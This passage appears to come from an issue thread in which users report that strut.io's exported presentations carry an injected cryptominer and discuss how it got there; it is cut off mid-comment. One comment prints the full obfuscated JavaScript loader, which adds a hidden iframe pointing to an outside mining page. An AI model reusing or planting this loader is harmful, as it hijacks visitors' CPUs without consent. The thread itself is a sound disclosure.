strut.io has been injected with a coinminer script

[cjmielke]

Exporting presentations results in an archive containing several injected iframes, along with a script "ricewithchicken.js"

Eats all CPU, and is a known crypto miner

[MohannadNaj]

it's actually a one line injected into what appears to be each JS file, require.js, loadPresentation.js, swfobject.js, ...etc.

This is the content of the injected line:

var _0x75b214=["iframe","setAttribute","https://www.jqwww.download/lot.html","head","appendChild","1IABALrINkcv2VFJWo7ctqH0f3Y6aTf1","start","createElement"];!function(t,x){!function(x){for(;--x;)t.push(t.shift())}(++x)}(_0x75b214,367);var _0x48ae8e=function(t,x){var a=_0x75b214[t-=0];return a};a=document[_0x48ae8e("0x0")](_0x48ae8e("0x1")),a[_0x48ae8e("0x2")]("src",_0x48ae8e("0x3")),a.style.width="0px",a.style.height="1px",document[_0x48ae8e("0x4")][_0x48ae8e("0x5")](a);

I think we should email @tantaman about this. Since it's kinda urgent..

[tantaman]

o_O

Any idea how that could have happened?

[engineers-tools]

Someone has injected a script onto the *.vendor.js file of your strut.io website. Either someone hacked the file directly or has infected a CDN where you're pulling files from. The script injects an